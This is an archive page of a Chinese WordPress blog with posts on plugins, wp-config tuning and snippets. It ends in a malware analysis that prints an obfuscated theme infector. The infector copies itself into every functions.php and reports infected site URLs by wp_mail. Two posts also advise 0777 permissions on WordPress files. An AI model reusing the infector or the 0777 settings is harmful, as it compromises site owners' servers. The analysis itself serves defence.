Hacklog » PHP

gravatar头像缓存插件——Hacklog Gravatar Cache 2.2 正式版发布

荒野无灯 — Fri, 03 Feb 2012 15:01:55 +0000

插件特点

以前我一直是用的Scott Yang 的一个gravatar缓存脚本（@url http://fucoder.com/code/gravatar-cache/）
不过觉得此脚本还是有一些限制，如不能根据参数生成不同尺寸大小的头像缓存。
这次的Hacklog Gravatar Cache ，主要有以下特点：

1.支持使用cookie-free domain，加速缓存头像显示（也可以选择使用默认的域名）
2.可根据传递的参数缓存各种尺寸大小的头像，简而言之，显示头像再也不用靠浏览器缩放图片了，要显示多大的图片，就给你多大的图片。这样亦能加速头像的显示（相对于要scale图像的情况而言）。
3.头像的缓存处理仅使用一个独立的php文件，无需加载wp环境，给wp减轻负担，高效快速。
4.可以通过访问url后加&purge清空个别头像的缓存（评论者若发现自己头像不对可自行更新缓存）
5.增加了后台配置，方便操作

为什么要使用Cookie-free Domains？，见这里：
Use Cookie-free Domains for Components

让头像使用独立域名(cookie-free domain)的方法

例如，将 /var/www/path-to-static 绑定到 static.ihacklog.com
使用 /var/www/path-to-static/gravatar_cache 目录存储头像

然后到后台修改配置,以上述情况为例：

1 2	//缓存目录 /var/www/path-to-static/gravatar_cache/ //缓存URL http://static.ihacklog.com/gravatar_cache/

注意都要最后以/ 结尾。
如图：

目前我自己在使用。

插件下载

注意：该页面嵌入了下载文件，请访问该页面下载该文件。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5336

随机日志

2011年05月7日 // LINUX下连接远程WINOWS主机（VNC or WIN RDP）的工具 (1)
2011年07月13日 // 神器Total Commander之——wordpress源码校验 (1)
2011年04月3日 // Setting up Favicons in IE8, Firefox, Safari, and Opera (3)
2011年01月1日 // 删除.svn目录的方法 (0)
2008年10月1日 // php常见错误 (0)
2009年04月9日 // discuz7.0论坛首页背景音乐插件[By荒野无灯]（带音乐盒，修正版）2009年03月13日更新 (0)

玩转WordPress之配置篇——9条实用配置技巧

荒野无灯 — Mon, 23 Jan 2012 14:31:54 +0000

春节快乐，各位好久没发文章了，这里把前些日子写的一篇日志发出来~~

WP的特点就是你可以完全按你自己的想法来建立属于你自己的博客,这里说一下几个比较实用的配置项。

新手注意事项：
不要用记事本编辑wp-config.php文件，也不要给这个文件末尾加上?>标签。
以下所有涉及到要添加代码的，除非特别说明，否则，都是修改wp-config.php文件，需要添加的代码应该加在wp-config.php文件的

1	/* That's all, stop editing! Happy blogging. */

这一条注释之上。

1.版本与语言

目前英文版和中文版都能在官方下载到，不过如果你首先装的英文版，后来又想用中文版了也没关系，下载中文版的，然后把wp-content/languages目录下面的语言文件放到你博客的wp-content/languages 目录下面，再在wp-config.php中定义语言为中文即可，如：

1	define('WPLANG', 'zh_CN');

什么？你想要前台使用中文，后面使用英文？可以，有个名叫 admin-in-english 的小插件，装上就能满足你的要求。
如果要从单用户版转为多用户版，见我以前写过的文章。

2.用多大内存，你说了算

定义一般情况下允许wp使用的最大内存,如：

1	define('WP_MEMORY_LIMIT', '30M');

对于单用户博客，wp默认值是32M,对于多用户站点，默认是64M,你可以根据你的实际情况调整，如果你愿意的话。
这个参数值最终将作用在php配置的memory_limit项上。

定义处理图片时允许使用的最大内存：

1	define( 'WP_MAX_MEMORY_LIMIT', '128M' );

因为wp默认是256M的，这在某些内存较小的vps上面的话，可能会导致内存超出可分配值的错误。因此，你可以根据自己的情况调整之。
需要说明的是，这个限制仅用于限制imagecreatefromstring函数处理图片时的内存使用。因为GD在内存中处理图片时是没有压缩图片数据的。具体在function wp_load_image中有说明。

3.博客出问题了？调试一下吧

加上如下代码，WP将会老老实实的话所有错误信息显示出来：

1 2	define( 'WP_DEBUG', true ); define( 'WP_DEBUG_DISPLAY', true );

4.自动保存相关

1
2
3
4
5
6

//每30秒自动保存一次：
define( 'AUTOSAVE_INTERVAL', 30 );
//每周清理一次回收站（定义为0禁用回收站）：
define( 'EMPTY_TRASH_DAYS', 7 );
//禁用日志修订
define('WP_POST_REVISIONS', false);

5.用的Unix/Linux/BSD主机？用UNIX Socket连接mysql数据库吧

如：

1	define('DB_HOST', 'localhost:/var/lib/mysql/mysql.sock');

6.更新插件或主题时出现“要执行请求的操作，WordPress 需要访问您网页服务器的权限。请输入您的 FTP 登录XXXX的解决方法”

这种情况一般是主机的目录所有者与php的执行者（一般是apache或lighthttpd，nginx等）不同导致的，一般采用suphp以cgi方式运行php的站点不会出现此情况。
在wp-config.php中加入如下代码即可：

1
2
3

define('FS_METHOD', 'direct');
define('FS_CHMOD_DIR', 0777);
define('FS_CHMOD_FILE', 0777);

另外在wp-content目录下面新建一目录upgrade并且权限设置为777，插件目录plugins和主题目录themes也要给777权限（注意只是这两个目录本身，而不是目录下面的文件及目录！）

7.想要cookie-free domain的图片URL ？这个也很简单

你可以在同一服务器上面新建一子站点，如static.ihacklog.com ,假设把附件保存在wp-files目录下面，wp-files的绝对路径假设为
/home/ihacklog.com/www/static (这个路径要根据你自己的主机确定）
在后台，“设置”－－〉“媒体选项”
文件上传处，默认上传路径填写绝对路径 /home/ihacklog.com/www/static
注意，假如你是windows主机的话，这个路径要用这样的形式，如：D:\\htdocs\\ihacklog.com\\static
文件的完整 URL 地址填写：http://static.ihacklog.com/wp-files
这样以后，再更新数据库中的URL信息：

1	UPDATE wp_posts SET post_content= replace(post_content,'http://your-domain.com/wp-content/uploads/','http://static.ihacklog.com/wp-files/');

然后把你wp-content/uploads/目录下面的所有东东都移动到/home/ihacklog.com/www/static/wp-files/ 目录下面即可。

8.想把WP放在某个子目录下面？

这个对于用cp等主机面板的用户比较实用。因为主站目录是public_html（实际上是指向www目录的一个符号链接）的话，子站的目录也是在这个目录下面。直接把WP装在这下面的话，整个站点目录就显得比较乱了。把wp安装在子目录下面比较好一些。如，把wp安装在wp目录下面：
（这里假设你已经直接把wp安装在站点根目录下面了）
先去后台，“常规” －－〉“常规”
WordPress 地址（URL）填写： http://your-domain.com/wp
站点地址（URL）不变，还是：http://your-domain.com
这样保存以后，在站点根目录下面新建一名为wp的目录，再把所有除.htaccess和 index.php的文件和目录全部移动到wp目录下面。
修改index.php文件require语句为：

1	require('./wp/wp-blog-header.php');

9.嫌默认的wp-login.php这个登录URL太麻烦？你可以修改它

将以下代码放到当前主题的functions.php文件中：

1
2
3
4

add_action( 'init', 'wp_login_url_rewrite' );
function wp_login_url_rewrite() {
add_rewrite_rule( 'login/?$', 'wp-login.php', 'top' );
}

然后，访问一下“设置” －－〉“固定链接”（在这里什么事也不用干，打开一下这个页面即可），让wp自动更新一下rewrite规则好让规则即时生效。
好了，现在你可以在你博客域名的后面直接加上 /login来访问登录页面了。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5335

随机日志

2009年05月24日 // Linux下格式化磁盘命令 (0)
2009年09月24日 // 缓存Gravatar 头像，博客再次提速 (13)
2010年07月17日 // SmartSniff:windows下的TCP/IP包捕获工具 (0)
2010年02月28日 // 电脑城装机专用工具：晨枫U盘维护工具V2.0 (3)
2010年10月14日 // avast linux home edition 在UBUNTU 10.04.1 LTS 下无法运行的解决办法 (3)
2010年09月6日 // QQ企业邮箱试用 (17)

两个Mac风格主题推荐

荒野无灯 — Sun, 08 Jan 2012 03:12:02 +0000

在浏览http://dirk.sh/这个博客时看到这个风格的。

i3Theme

下载：http://www.mangoorange.com/resources/i3theme/

FAQ
Can I remove the drag-and-drop function? Yes, you can. Just go to the dbx-key.js and comment all the codes there. By doing so, you will also remove the toggle button feature as well as the green/orange/grey button at the corner of the box.
Can I remove sponsored links? Yes, you can. The license only required you to maintain the N. Design Studio , Mango Orange, and Already Hosting links.
Why do wp_tags() fatal error appear? That’s because you need to upgrade to WordPress 2.3 as the wp_tags is a new feature in WordPress 2.3.

i2Theme

下载：http://www.mangoorange.com/resources/i2theme/

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5307

随机日志

2011年05月27日 // VimRepress——用VIM来写博客 (5)
2010年11月12日 // 硬盘安装Win7[转] (8)
2008年12月27日 // commonIP (0)
2010年05月1日 // 通过rc.local让fcitx自启动 (0)
2010年11月18日 // MiniLyrics+foobar2000=绝配 (5)
2009年10月24日 // 更换显卡驱动，Ubuntu也玩游戏 (9)

WP调试插件三款

荒野无灯 — Sat, 07 Jan 2012 12:41:44 +0000

其实是从盘先海童鞋那里瞟到的~~~
BlackBox Debug Bar,此插件详细介绍见《WordPress Debug插件：BlackBox》
Debug Bar
Debug Bar Console

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5303

随机日志

2011年06月6日 // font manager for linux (0)
2010年04月10日 // Windows下安装BIND作为DNS缓存服务器 (11)
2010年02月28日 // 这个wp主题有点小邪恶 (14)
2011年07月22日 // netbeans 连接 mysql数据库com.mysql.jdbc.CommunicationsException: Communications link failure解决办法 (0)
2009年11月2日 // 搜狗云输入法 (6)
2011年09月28日 // WordPress黑色/灰色主题推荐 (7)

两个仿WP官网的主题

荒野无灯 — Thu, 05 Jan 2012 11:03:26 +0000

第一个是shaynez童鞋的
貌似没有提供下载。

第二个是八月童鞋的，模仿的是WP中文站。提供下载。

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5285

随机日志

2008年12月27日 // Windows Live Writer 2009绿色正式版 (0)
2010年11月26日 // 最新的并不一定是最好的，够用就行 (9)
2011年06月23日 // 以非root运行wireshark (0)
2009年06月3日 // wp login logger (4)
2011年08月22日 // Obsidian配色方案——个人最爱 (17)
2010年03月11日 // win7下安装QQ2010出错的解决办法 (0)

W3 Total Cache让你的WordPress博客飞起来！

荒野无灯 — Wed, 04 Jan 2012 10:50:33 +0000

以前我一直不怎么喜欢装这种缓存类插件。今天试装了下W3 Total Cache这个插件，发现确实是很好很强大。
具体装上之后有什么效果，大家可以访问我的博客试试就知道了。

全面支持磁盘缓存、内存缓存(apc 缓存、 xcache 、wincache 、memcached )

全面配置服务器端缓存、浏览器缓存

推荐使用虚拟主机的使用磁盘缓存，使用v..p..s的可以考虑使用apc或者memcached等内存缓存

插件下载地址：
http://wordpress.org/extend/plugins/w3-total-cache/

另外，此插件最新版Version 0.9.2.4有一个小bug:

PHP Fatal error: Call to undefined function w3_url_format() in /home/USERNAME/public_html/wp-content/plugins/w3-total-cache/lib/W3/Plugin/PgCacheAdmin.php on line 213

解决办法如下：

编辑PgCacheAdmin.php　，在

1	require_once W3TC_INC_DIR . '/functions/rule.php';

之后添加:

1	require_once W3TC_INC_DIR . '/functions/url.php';

见：http://wordpress.org/support/topic/plugin-w3-total-cache-call-to-undefined-function-after-update?replies=3#post-2308798

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5277

重新回到VPS上~~更新wp到3.3.1

荒野无灯 — Wed, 04 Jan 2012 06:23:39 +0000

后台直接一鍵升级了

由于apache运行用户与目录用户不相同，因此要成功自动升级还得做一些工作：
修改整个wp目录及其下所有目录和文件，设置其权限为 0777
然后一鍵升级。

文件上传成功！下面开始校验文件……
需要检测的文件类型：php , js
正在产生当前文件校验……
文件checksum生成完毕.下面开始检查文件完整性……
文件校验完毕，以下为校验结果：
The following discrepancies were found:

add
index.php
wp-config-sample.php
alt
wp-includes/nav-menu-template.php
wp-includes/script-loader.php
wp-includes/js/wplink.js
wp-includes/user.php
wp-includes/functions.wp-styles.php
wp-includes/version.php
wp-includes/class-wp-admin-bar.php
wp-includes/functions.php
wp-includes/capabilities.php
wp-includes/class-wp-xmlrpc-server.php
wp-admin/load-scripts.php
wp-admin/js/common.js
wp-admin/js/common.dev.js
wp-admin/users.php
wp-admin/about.php
wp-admin/press-this.php
wp-admin/includes/template.php
wp-admin/includes/update-core.php
wp-admin/includes/ms.php
wp-admin/includes/dashboard.php
wp-admin/includes/class-wp-comments-list-table.php
wp-config.php

升级后的工作

升级完后，为了以后可以在后台一鍵安装主题和插件，需要做如下工作：
在wp-config.php 增加

1
2
3
4

//以下用于文件owner属于ftp时，apache进程无法创建目录、更改文件时用。
define('FS_METHOD', 'direct');
define('FS_CHMOD_DIR', 0777);
define('FS_CHMOD_FILE', 0777);

在wp-content目录下面新建一目录名为upgrade的目录（如果没有这个目录的话），设置其权限为 0777

替换蛋疼的仪表盘语言文件

注意：该页面嵌入了下载文件，请访问该页面下载该文件。

以前修改的文件重新修改

由此可见，wp的自动升级越来越智能化了。升级的时候会自动校验文件，如果核心文件被修改，它会用最新的替换掉。
3.3.1更新的文件列表在这儿

wp-includes/js/wplink.js
wp-includes/class-wp-xmlrpc-server.php
wp-admin/includes/class-wp-comments-list-table.php

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5275

随机日志

2011年10月28日 // notepad的最佳替代者：notepad2 (17)
2011年08月2日 // 分享两个黑色系列foobar2000主题 (15)
2009年03月20日 // 关于fckeditor处理html内容的问题【已解决】 (0)
2010年05月9日 // wordpress 2.9.2先用着3.0的 get_avatar (14)
2011年06月1日 // 你应该知道的vim插件之surround.vim (0)
2009年04月10日 // 唯美之境 (0)

最近文章title属性去除HTML标签

荒野无灯 — Tue, 03 Jan 2012 06:11:33 +0000

default-widgets.php line 550:

1	the_permalink() ?>" title=" echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"> if ( get_the_title() ) the_title(); else the_ID(); ?>

属性处未过滤html标签.
查看下the_title_attribute函数的源码会发现这个函数是过滤了的~~~
因此，手动修复它吧，如果为了这个自己重新写一个最近文章的widget,划不来~~~，能偷懒则偷。

因为get_the_title会应用the_title勾子，如果我在the_title HOOK函数中写入HTML代码，此时，显示的东西就不是我们想要的。

1	echo esc_attr(strip_tags(get_the_title() ? get_the_title() : get_the_ID())); ?>

然后又看了下esc_attr函数，

1
2
3
4
5

function esc_attr( $text ) {
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
return apply_filters( 'attribute_escape', $safe_text, $text );
}

发现它是可HOOK的，因此，上面的方案又可以修改了。

1
2
3
4
5
6
7

//something like 最近文章title属性去除HTML标签
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = html_entity_decode( $safe_text, ENT_QUOTES );
return strip_tags($safe_text);
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

这样行了吗？有些问题
经html_entity_decode后，一些字符可能会出现乱码。如果写成这样就安全了，不过效率上我不怎么喜欢，有些事情做了两遍：

1
2
3
4
5
6
7
8
9

//something like 最近文章title属性去除HTML标签
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = strip_tags($safe_text);
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
return $safe_text;
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

~~最后，决定采取特殊问题特殊化的策略：~~

1
2
3
4
5
6
7
8
9
10
11
12

//由于最后生成的title内容形如
//最近文章title属性去除HTML标签
//其实这里用strpos截取也是可以的，不过我没有测试二者的实际速度相差有多大。不用正则，太耗费时间
function strip_all_attribute_tags($safe_text, $text )
{
$safe_text = str_replace(
array('',''),
array(','" >',''),
$safe_text);
return strip_tags($safe_text);
}
add_filter('attribute_escape', 'strip_all_attribute_tags',99, 2);

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5271

随机日志

2011年06月5日 // 编译内核解决console下中文显示问题 (2)
2011年05月29日 // 挖出fcitx4.0内置对VIM输入模式的切换支持 (5)
2008年12月25日 // 关于PHP安全的一篇文章 (0)
2011年10月7日 // Linux下用dnsmasq做dns cache server (7)
2009年12月13日 // php中的==与=== (5)
2009年05月8日 // Web IM in Hotmail! (1)

Super useful WordPress hacks and snippets

荒野无灯 — Tue, 03 Jan 2012 01:56:39 +0000

1.免插件实现日志浏览数记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

2.在contributors的日志发布后自动发邮件给他们

1
2
3
4
5
6
7
8
9
10
11

function wpr_authorNotification($post_id) {
$post = get_post($post_id);
$author = get_userdata($post->post_author);

$message = "
Hi ".$author->display_name.",
Your post, ".$post->post_title." has just been published. Well done!
";
wp_mail($author->user_email, "Your article is online", $message);
}
add_action('publish_post', 'wpr_authorNotification');

3.用短代码实现外链网站的快照显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

function bm_sc_mshot ($attributes, $content = '', $code = '') {

extract(shortcode_atts(array(
'url' => '',
'width' => 250,
), $attributes));

$imageUrl = bm_mshot ($url, $width);

if ($imageUrl == '') {
return '';
} else {
$image = ' . $imageUrl . '" alt="' . $url . '" width="' . $width . '"/>';
return '

. $url . '">' . $image . '

';
}

}

function bm_mshot ($url = '', $width = 250) {

if ($url != '') {
return 'http://s.wordpress.com/mshots/v1/' . urlencode(clean_url($url)) . '?w=' . $width;
} else {
return '';
}

}

add_shortcode('browsershot', 'bm_sc_mshot');
?>

使用方法，在日志中写上如：

[browsershot url="http://ihacklog.com" width="荒野无灯weblog"]

生成的效果图：


http://s.wordpress.com/mshots/v1/http%3A%2F%2Fihacklog.com?w=500

4.列出网络中的博客（适用于WP MU模式）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

function wp_list_sites( $expires = 7200 ) {
if( !is_multisite() ) return false;

// Because the get_blog_list() function is currently flagged as deprecated
// due to the potential for high consumption of resources, we'll use
// $wpdb to roll out our own SQL query instead. Because the query can be
// memory-intensive, we'll store the results using the Transients API
if ( false === ( $site_list = get_transient( 'multisite_site_list' ) ) ) {
global $wpdb;
$site_list = $wpdb->get_results( $wpdb->prepare('SELECT * FROM wp_blogs ORDER BY blog_id') );
// Set the Transient cache to expire every two hours
set_site_transient( 'multisite_site_list', $site_list, $expires );
}

$current_site_url = get_site_url( get_current_blog_id() );

$html = '

调用：

1
2
3
4
5
6
7
8
9
10
11

// Multisite Network Menu
$network_menu = wp_list_sites();
if( $network_menu ):
?>

endif; ?>

5.给有缩略图（thumbnail）的日志内容div添加一个css类选择器

1
2
3
4
5
6
7

function has_thumb_class($classes) {
global $post;
if( has_post_thumbnail($post->ID) ) { $classes[] = 'has_thumb'; }

return $classes;
}
add_filter('post_class', 'has_thumb_class');

本文由荒野摘选和译自:http://www.catswhocode.com/blog/super-useful-wordpress-hacks-and-snippets

喜欢这篇文章吗?

请订阅本站 RSS feed 或

作者：荒野无灯
出处：Hacklog【荒野无灯weblog】

声明: 本站遵循署名-非商业性使用-相同方式共享 2.5 共享协议. 转载请注明转自Hacklog【荒野无灯weblog】

本文链接: http://ihacklog.com/?p=5267

随机日志

2011年08月19日 // Habari ? (12)
2011年12月13日 // 今天忙了一下午，都是WP升级害的 (13)
2010年11月12日 // 硬盘安装Win7[转] (8)
2008年02月21日 // php万能播放器 (0)
2011年07月13日 // 关于opera浏览器的一些tips (8)
2010年03月3日 // 仙剑音乐 (4)

一段WordPress主题恶意代码分析（貌似很多人中招了）

荒野无灯 — Mon, 02 Jan 2012 13:46:36 +0000

雪落无声这位朋友今天发了一个文件给我要我帮他看一下这是什么意思。
结果我看完后却发现这个是“坑爹”的恶意代码。先不说这个代码是干什么的，为什么“坑爹”。且一路分析来。。。
蓝冰说他也中了这个“恶意代码”，同时中招的还有z叔啦~~~ 我没有，哈哈
后来z叔说是帮人修改主题本地中招
z叔还特意把这个代码帖出来了,有兴趣的点击这里查看。
google了一下，貌似不只天朝人民中招了，JP也有人中招，见这里.

分析过程我都写在代码注释里了，如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269

function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
$output="";
$allowed="";
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . "Not found" . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
//如果是目录,则加入$wids数组
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 livethemas@gmail.com 的文章，肯定是没有的

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";

//这里$sh_cont即为 livethemas@gmail.com
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 livethemas@gmail.com 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "-5265">")) {
$text=explode("", $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
